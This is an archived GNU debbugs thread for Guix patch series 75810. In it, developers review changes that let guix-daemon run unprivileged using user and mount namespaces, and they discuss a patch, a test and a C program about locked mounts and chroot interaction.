bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 11 Mar 2025 12:42:14 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Tue Mar 11 08:42:14 2025
Received: from localhost ([127.0.0.1]:42107 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tryvy-0005M0-Je
	for submit <at> debbugs.gnu.org; Tue, 11 Mar 2025 08:42:14 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:36596)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tryvr-0005LN-5L
 for 75810 <at> debbugs.gnu.org; Tue, 11 Mar 2025 08:42:07 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id 7D4C035A;
 Tue, 11 Mar 2025 13:41:55 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id uHLQ3eloNKrI; Tue, 11 Mar 2025 13:41:53 +0100 (CET)
Received: from ribbon (91-160-117-201.subs.proxad.net [91.160.117.201])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id 57DF22B0;
 Tue, 11 Mar 2025 13:41:53 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Locked mounts
In-Reply-To: <87jz9sc72o.fsf@HIDDEN> (Reepca Russelstein's message of
 "Fri, 14 Feb 2025 19:47:27 -0600")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN>
Date: Tue, 11 Mar 2025 13:41:50 +0100
Message-ID: <87y0xbivsh.fsf_-_@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Rspamd-Server: hera
X-Rspamd-Queue-Id: 7D4C035A
X-Spamd-Result: default: False [-4.84 / 15.00]; BAYES_HAM(-3.00)[100.00%];
 NEURAL_HAM(-2.99)[-0.998]; R_MIXED_CHARSET(1.25)[subject];
 MIME_GOOD(-0.10)[multipart/mixed,text/plain,text/x-patch];
 MIME_TRACE(0.00)[0:+,1:+,2:+,3:+]; RCVD_COUNT_TWO(0.00)[2];
 FROM_EQ_ENVFROM(0.00)[]; RCPT_COUNT_TWO(0.00)[2];
 ARC_NA(0.00)[]; HAS_ATTACHMENT(0.00)[];
 RCVD_VIA_SMTP_AUTH(0.00)[]; RCVD_TLS_ALL(0.00)[];
 FROM_HAS_DN(0.00)[]; TO_MATCH_ENVRCPT_ALL(0.00)[];
 TO_DN_SOME(0.00)[]; MID_RHS_MATCH_FROM(0.00)[]
X-Spamd-Bar: ----
X-Rspamd-Action: no action
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview:  Hi Reepca,
 Reepca Russelstein <reepca@HIDDEN> skribis:
 > I still think it would be a good idea to call unshare to create an extra
 > user and mount namespace just before executing the builder in the >
 unprivileged case, just to be sure that the mount-locki [...] 
 Content analysis details:   (1.4 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
 query to Validity was blocked.  See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [185.233.100.1 listed in bl.score.senderscore.com]
 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
 query to Validity was blocked.  See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [185.233.100.1 listed in sa-trusted.bondedsender.org]
 0.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 0.4 (/)

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hi Reepca,

Reepca Russelstein <reepca@HIDDEN> skribis:

> I still think it would be a good idea to call unshare to create an extra
> user and mount namespace just before executing the builder in the
> unprivileged case, just to be sure that the mount-locking behavior is
> triggered in a way that is documented.

For some reason, it=E2=80=99s not working as advertised: mounts are seeming=
ly
not locked together and umount(2) on one of them returns EPERM (instead
of EINVAL).  I suspect chroot, pivot_root, & co. spoil it all.

Attached is a patch and test case.

To be sure, I wrote a minimal C program: umount returns EINVAL as
expected.  However, when compiling it with -DWITH_CHROOT, unshare(2)
fails with EPERM because =E2=80=9Cthe caller's root directory does not matc=
h the
root directory of the mount namespace in which it resides=E2=80=9D (quoting
unshare(2)).

So I now get the idea of =E2=80=9Clocked mounts=E2=80=9D but I=E2=80=99m at=
 loss as to how this
is supposed to interact with chroots.

Thoughts?

Ludo=E2=80=99.


--=-=-=
Content-Type: text/x-patch
Content-Disposition: inline

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 057a15ccd0..6a6a960a1c 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2244,6 +2244,13 @@ void DerivationGoal::runChild()
 	    /* Remount root as read-only.  */
             if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
                 throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
+
+	    if (getuid() != 0) {
+		/* Create a new mount namespace to "lock" previous mounts.
+		   See mount_namespaces(7).  */
+		if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
+		    throw SysError(format("creating new user and mount namespaces"));
+	    }
         }
 #endif
 
diff --git a/tests/store.scm b/tests/store.scm
index c22739afe6..9da9345dd0 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -37,6 +37,8 @@ (define-module (test-store)
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
+  #:use-module ((gnu packages make-bootstrap)
+                #:select (%guile-static-stripped))
   #:use-module (ice-9 match)
   #:use-module (ice-9 regex)
   #:use-module (rnrs bytevectors)
@@ -59,6 +61,8 @@ (define %shell
 
 (test-begin "store")
 
+(test-skip 25)
+
 (test-assert "open-connection with file:// URI"
   (let ((store (open-connection (string-append "file://"
                                                (%daemon-socket-uri)))))
@@ -455,7 +459,7 @@ (define %shell
          (drv
           (run-with-store %store
             (gexp->derivation
-             "attempt-to-remount-input-read-write"
+             "attempt-to-write-to-input"
              (with-imported-modules (source-module-closure
                                      '((guix build syscalls)))
                #~(begin
@@ -496,6 +500,58 @@ (define %shell
       (build-derivations %store (list drv))
       #f)))
 
+(let ((guile (with-external-store external-store
+               (and external-store
+                    (run-with-store external-store
+                      (mlet %store-monad ((drv (lower-object %guile-static-stripped)))
+                        (mbegin %store-monad
+                          (built-derivations (list drv))
+                          (return (derivation->output-path (pk 'GDRV drv))))))))))
+
+  (unless (and guile (unprivileged-user-namespace-supported?))
+    (test-skip 1))
+  (test-equal "input mount is locked"
+    EINVAL
+    ;; Check that mounts within the build environment are "locked" together and
+    ;; cannot be separated from within the build environment namespace--see
+    ;; mount_namespaces(7).
+    ;;
+    ;; Since guile-bootstrap@HIDDEN lacks 'umount', resort to the hack below to
+    ;; get a statically-linked Guile with 'umount'.
+    (let* ((guile (computed-file "guile-with-umount"
+                                 ;; The #:guile-for-build argument must be a
+                                 ;; derivation, hence this silly thing.
+                                 #~(symlink #$(local-file guile "guile-with-umount"
+                                                          #:recursive? #t)
+                                            #$output)
+                                 #:guile %bootstrap-guile))
+           (drv
+            (run-with-store %store
+              (mlet %store-monad ((guile (lower-object guile)))
+                (gexp->derivation
+                 "attempt-to-unmount-input"
+                 (with-imported-modules (source-module-closure
+                                         '((guix build syscalls)))
+                   #~(begin
+                       (use-modules (guix build syscalls))
+
+                       (let ((input #$(plain-file "input-that-might-be-unmounted"
+                                                  (random-text))))
+                         (catch 'system-error
+                           (lambda ()
+                             ;; umount(2) returns EINVAL when the target is locked.
+                             (umount input))
+                           (lambda args
+                             (call-with-output-file #$output
+                               (lambda (port)
+                                 (write (system-error-errno args) port))))))))
+                 #:guile-for-build guile)))))
+      (build-derivations %store (list (pk 'UMDRV drv)))
+      (call-with-input-file (derivation->output-path drv)
+        read))))
+
+(test-skip 100)
+
 (unless (unprivileged-user-namespace-supported?)
   (test-skip 1))
 (test-assert "build root cannot be made world-readable"

--=-=-=
Content-Type: text/plain
Content-Disposition: attachment; filename=mount-namespace-locking.c

#define _GNU_SOURCE 1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <string.h>

#include <assert.h>
#include <error.h>
#include <errno.h>

#undef NDEBUG

static char child_stack[8192];

static int sync_pipe[2];

static int
child (void *arg)
{
  close (sync_pipe[1]);
  char str[123];

  read (sync_pipe[0], str, sizeof str);
  assert (strcmp (str, "go!\n") == 0);
  close (sync_pipe[0]);

  printf ("child process: %d\n", getpid ());
  mkdir ("/tmp/t", 0700);
  errno = 0;
  mount ("none", "/tmp/t", "tmpfs", 0, NULL);
  assert_perror (errno);

#ifdef WITH_CHROOT
  chroot ("/tmp");
  assert_perror (errno);
#endif
  unshare (CLONE_NEWNS | CLONE_NEWUSER);
  assert_perror (errno);
#ifdef WITH_CHROOT
  umount ("/t");
#else
  umount ("/tmp/t");
#endif

  int err = errno;
  printf ("umount errno: %s\n", strerror (err));
  assert (err == EINVAL);
  return EXIT_FAILURE;
}

static void
initialize_namespace (pid_t pid)
{
  close (sync_pipe[0]);

  char name[1024];
  FILE *file;

  sprintf (name, "/proc/%d/uid_map", pid);
  file = fopen (name, "w");
  fprintf (file, "42 %d 1", getuid ());
  fclose (file);

  sprintf (name, "/proc/%d/setgroups", pid);
  file = fopen (name, "w");
  fprintf (file, "deny");
  fclose (file);

  sprintf (name, "/proc/%d/gid_map", pid);
  file = fopen (name, "w");
  fprintf (file, "42 %d 1", getgid ());
  fclose (file);

  errno = 0;
  write (sync_pipe[1], "go!\n", 5);
  assert_perror (errno);
  close (sync_pipe[1]);
}


int
main ()
{
  errno = 0;
  pipe2 (sync_pipe, O_CLOEXEC);
  assert_perror (errno);

  int pid = clone (child,
		   (char *) (((intptr_t) child_stack + sizeof child_stack - sizeof (void *)) & ~0xfULL),
		   CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, NULL);
  assert_perror (errno);
  initialize_namespace (pid);

  return EXIT_SUCCESS;
}

/*
  unshare -mrf sh -c 'mount -t tmpfs none /tmp; exec unshare -mr strace -e umount2 umount /tmp'
*/

--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 4 Mar 2025 00:26:04 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 03 19:26:04 2025
Received: from localhost ([127.0.0.1]:53020 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tpG6l-00089A-Rv
	for submit <at> debbugs.gnu.org; Mon, 03 Mar 2025 19:26:04 -0500
Received: from mail-pl1-x636.google.com ([2607:f8b0:4864:20::636]:51699)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
 (Exim 4.84_2) (envelope-from <maxim.cournoyer@HIDDEN>)
 id 1tpG6j-00088b-BY
 for 75810 <at> debbugs.gnu.org; Mon, 03 Mar 2025 19:26:01 -0500
Received: by mail-pl1-x636.google.com with SMTP id
 d9443c01a7336-2239aa5da08so33523805ad.3
 for <75810 <at> debbugs.gnu.org>; Mon, 03 Mar 2025 16:26:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=gmail.com; s=20230601; t=1741047955; x=1741652755; darn=debbugs.gnu.org;
 h=content-transfer-encoding:mime-version:user-agent:message-id:date
 :references:in-reply-to:subject:cc:to:from:from:to:cc:subject:date
 :message-id:reply-to;
 bh=7+fUUXi1IBLrF40vjPFM/L76jRl8A5QqXYv9qCoMF4Q=;
 b=Tcr8M0SnJooAocORuxDYPzPF1G60lwkWIG7pYnBtrNpIgVrOlcDo9r26qO5k4UBJkW
 a/f1/d7JLNMMpn1iaoE7L3vVnI3oeejH2AxdBFlmYvVXr1P7PenSMG3cyTbAYQzA14oo
 DXVdzvYPEfZyI/eIgWCvNO4Mkf1Ovgpot4JiPA/djSTVwVSiiqhQvbw0a9KrioYWrH4G
 ZyYE0zmgqQ8j1AzP7T9mFHN2gqheK2yBOdcgmF9eouQAxEdDPCOgiWKxmDAz2azjvD8U
 PRWbRQy3oQwM3s0qZaXE7i+j22gAwbBtdXPqw6WzO0kWOsnXo2ODhsejs5u42Y6CXoy2
 5g7w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20230601; t=1741047955; x=1741652755;
 h=content-transfer-encoding:mime-version:user-agent:message-id:date
 :references:in-reply-to:subject:cc:to:from:x-gm-message-state:from
 :to:cc:subject:date:message-id:reply-to;
 bh=7+fUUXi1IBLrF40vjPFM/L76jRl8A5QqXYv9qCoMF4Q=;
 b=YH2mCvNHhKSZTMk8DRptAdTHsqcl5PYDmVXJcROzoTZKSOqIoozBEfTRWOCQkMdndu
 AfUYzPFin+tUVcP93Hd+EunHSLqYzaSAHX7IIKo4gZQTvFc1Ke/dMpVw44vkY0mQyxo2
 27ufDpJ5EpzOAPqcJRoIh8Ha8xPDiOQhExkOnc+s6GDTTI9tk7ozw/a1TRS9T0GuMdw8
 ykgurfJnSf3BPXEJ1oqLRlFt7Z7VWb++yDO6rCoowXq9T6KDEthXRzwr+RMIgDfhf6bg
 P47SmZFxqAdI1TVY9BKh0A0A0yPXDLFaywv4JxLfT+Br674Qrl4qt6ja030tgcF6495I
 +kAA==
X-Gm-Message-State: AOJu0Yyf2LGcRbVMv8fqzjCssrp+3ZIH34s3y8kbZKTCY+UJj5RqFIgA
 rJj5hchjdksiW3EvhnQ8rJmSuCa9+xhkoJcoBe0XBumnVwv28prR
X-Gm-Gg: ASbGncunBUXvQ+dxLz6uAAmn2No9BfugMyKR3S8ItohPu7BE8ymkFeXsghMFYC3cLBd
 mBs0tD4VFztgu+nIcnlGTB2rmTMxGz0ef8oiuaLP2Kba3DK0CWMv88hE81YFkdfN6O0A2HzhpBm
 hvunP11PZ7cXeL+LCjSqYvBoIkUamjAS11xRdZ+gdp8Uw3WDLlAJF94/XcNhJMTq16k3DThmoCl
 4xiB2fflie6wLpJDak3mKHCvar8wfSwRQ99kxccJLSpUuYsgX3eBpR89JxL2Jk7rWS2mPQOGvDH
 SEDryA5cju2XaX/qCjLOOVDAGjb3+GkthV6JSPPHMEY=
X-Google-Smtp-Source: AGHT+IHfV6rXlLdlaQ3WWHiBWMkIhwezUfNo0RNus7y4Oi+HVSFUB1Wkc8yUnkBndmYnBcJUU2bSxA==
X-Received: by 2002:a17:902:cec1:b0:220:e924:99dd with SMTP id
 d9443c01a7336-2236920baafmr236088065ad.34.1741047955209; 
 Mon, 03 Mar 2025 16:25:55 -0800 (PST)
Received: from terra ([2405:6586:be0:0:83c8:d31d:2cec:f542])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-223501f9d7fsm84158695ad.70.2025.03.03.16.25.52
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 03 Mar 2025 16:25:54 -0800 (PST)
From: Maxim Cournoyer <maxim.cournoyer@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH v4 06/14] daemon: Allow running as non-root
 with unprivileged user namespaces.
In-Reply-To: <87o6yido2w.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Mon, 03 Mar 2025 18:24:39 +0100")
References: <cover.1740752774.git.ludo@HIDDEN>
 <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
 <87senwezge.fsf@HIDDEN> <87o6yido2w.fsf@HIDDEN>
Date: Tue, 04 Mar 2025 09:25:41 +0900
Message-ID: <87plixej5m.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: 0.0 (/)
X-Debbugs-Envelope-To: 75810
Cc: Josselin Poiret <dev@HIDDEN>,
 Simon Tournier <zimon.toutoune@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>,
 Tobias Geerinckx-Rice <me@HIDDEN>, Christopher Baines <guix@HIDDEN>,
 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hi Ludovic,

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

[...]

>>> -        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) =3D=3D=
 -1)
>>> +        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, bui=
ldUser.getGID()) =3D=3D -1)
>
>> I think adding the new check for buildUser.enabled() in the above ifs
>> should be split into a distinct commit since it's not relevant to this
>> specific new feature.
>
> It=E2=80=99s in fact related: previously you could not run guix-daemon wi=
th
> useChroot =3D=3D true unless running as root, and buildUser.enabled() was
> implied in this case.
>
> With this change, you can end up in the =E2=80=9Cif (useChroot)=E2=80=9D =
block without
> running as root, which is why this distinction needs to be made.

Oh, I see (and for the other instance as well).  Thanks for explaining!

Reviewed-by: Maxim Cournoyer <maxim.cournoyer@gmail>

--=20
Thanks,
Maxim




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 3 Mar 2025 17:25:34 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 03 12:25:34 2025
Received: from localhost ([127.0.0.1]:51132 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tp9Xq-0005Pe-BH
	for submit <at> debbugs.gnu.org; Mon, 03 Mar 2025 12:25:34 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:54746)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tp9Xn-0005P1-Jl
 for 75810 <at> debbugs.gnu.org; Mon, 03 Mar 2025 12:25:32 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tp9Xe-0003s4-Rk; Mon, 03 Mar 2025 12:25:22 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=T5wYx0i8M00PhVCdiUZbDTr3fFvdR+1ei8t2DlDHc4s=; b=YNxoXkRXfmIot4eR6MoS
 Wq4+WCmcIVJifGSIqwKjar2gt14YKRQHXS4vHmGGSFlHnsr/jsxRCowokdE7GG93naxJu2FPsaZ8v
 roa5vzud+DWYkqBfX66jGMC+AxZl9sbtHmr7VSgJZ9X2KaMXz251NxjgEHWF+kNGnPgmf0G6jBvlv
 209z8SDSA/XXWZsVgPL4fiJZhczFwR/Uo7PiPuu/s215eB/5lmKDPI0crayZRtQXoBo0YVwlX5zqy
 M2oCMeJbBr0gCA5tOB+bjYd3KShyke9anyreY+5210dqDgC26HJrbW2uuvVcggSJy3zMJ3JqOUJX3
 SQQC/wuRW6gTow==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Maxim Cournoyer <maxim.cournoyer@HIDDEN>
Subject: Re: [bug#75810] [PATCH v4 06/14] daemon: Allow running as non-root
 with unprivileged user namespaces.
In-Reply-To: <87senwezge.fsf@HIDDEN> (Maxim Cournoyer's message of "Sun, 02
 Mar 2025 15:09:05 +0900")
References: <cover.1740752774.git.ludo@HIDDEN>
 <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
 <87senwezge.fsf@HIDDEN>
X-URL: http://www.fdn.fr/~lcourtes/
X-Revolutionary-Date: Tridi 13 =?utf-8?Q?Vent=C3=B4se?= an 233 de la
 =?utf-8?Q?R=C3=A9volution=2C?= jour de la Fumeterre
X-PGP-Key-ID: 0x090B11993D9AEBB5
X-PGP-Key: http://www.fdn.fr/~lcourtes/ludovic.asc
X-PGP-Fingerprint: 3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5
X-OS: x86_64-pc-linux-gnu
Date: Mon, 03 Mar 2025 18:24:39 +0100
Message-ID: <87o6yido2w.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: Josselin Poiret <dev@HIDDEN>,
 Simon Tournier <zimon.toutoune@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>,
 Tobias Geerinckx-Rice <me@HIDDEN>, Christopher Baines <guix@HIDDEN>,
 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello,

Maxim Cournoyer <maxim.cournoyer@HIDDEN> skribis:

> Similarly to what Simon pointed in their comments, I'd drop time-related
> 'recently' wording, as it won't age well, and is already made obvious by
> the above being mentioned as the 'historical' approach.

Alright, noted for the next revision.

>> -        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) =3D=3D =
-1)
>> +        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buil=
dUser.getGID()) =3D=3D -1)

> I think adding the new check for buildUser.enabled() in the above ifs
> should be split into a distinct commit since it's not relevant to this
> specific new feature.

It=E2=80=99s in fact related: previously you could not run guix-daemon with
useChroot =3D=3D true unless running as root, and buildUser.enabled() was
implied in this case.

With this change, you can end up in the =E2=80=9Cif (useChroot)=E2=80=9D bl=
ock without
running as root, which is why this distinction needs to be made.

>>  #if CHROOT_ENABLED
>>          if (useChroot) {
>> -            /* Initialise the loopback interface. */
>> -            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
>> -            if (fd =3D=3D -1) throw SysError("cannot open IP socket");
>> +	    if (!fixedOutput) {
>> +		/* Initialise the loopback interface. */
>> +		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
>> +		if (fd =3D=3D -1) throw SysError("cannot open IP socket");
>>=20=20
>> -            struct ifreq ifr;
>> -            strcpy(ifr.ifr_name, "lo");
>> -            ifr.ifr_flags =3D IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
>> -            if (ioctl(fd, SIOCSIFFLAGS, &ifr) =3D=3D -1)
>> -                throw SysError("cannot set loopback interface flags");
>> +		struct ifreq ifr;
>> +		strcpy(ifr.ifr_name, "lo");
>> +		ifr.ifr_flags =3D IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
>> +		if (ioctl(fd, SIOCSIFFLAGS, &ifr) =3D=3D -1)
>> +		    throw SysError("cannot set loopback interface flags");
>>=20=20
>> -            fd.close();
>> +		fd.close();
>> +	    }
>
> That hunk above is also orthogonal to this feature AFAICS, should be
> split into a different commit to keep its diff focused.

It=E2=80=99s also related: setting up =E2=80=98lo=E2=80=99 would always wor=
k before, because we
were running as root, but now it only works when running in a separate
net namespace.

Thanks for your feedback!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 3 Mar 2025 17:16:53 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 03 12:16:53 2025
Received: from localhost ([127.0.0.1]:51087 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tp9PR-0004h7-Cb
	for submit <at> debbugs.gnu.org; Mon, 03 Mar 2025 12:16:53 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:40158)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tp9PO-0004gp-Iv
 for 75810 <at> debbugs.gnu.org; Mon, 03 Mar 2025 12:16:51 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tp9PD-00025F-0W; Mon, 03 Mar 2025 12:16:40 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=IFZSrMS6mqDNuLJgR5r8TcyDiQBo4UgRMwcJlSPZr8w=; b=Uc8iz0k49+105UakYzaA
 WKduZGsnd3MxqOsanNW6JQPz6LeRPacBkRcDkuV2Cxot3o9TCZLxpJ7lypB2CmlDc+lWcULoMNpsh
 q7dytwagqNArpmNhbjgxt/7MPGXmlbwUk+t4kIOl36WOPkXfYyx7b14d6nNarnuwmWEbfMAmBg7cX
 CQhtzGvd26ZQliwUv1gZo6mGiFl7ecJMn734K0Kv5W6iUBLSPbjJrHvBqqF/8UJZsUXc2ysWlZJCC
 mwVsYQx7bdoJ3Kah96kJ5SxVwZ2ZTGYl3V0j4Bd5S+q1N7JrBGqcAM107pCuP6BZoK8NnbsqnXCf+
 IKQziRBq9jxCAw==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
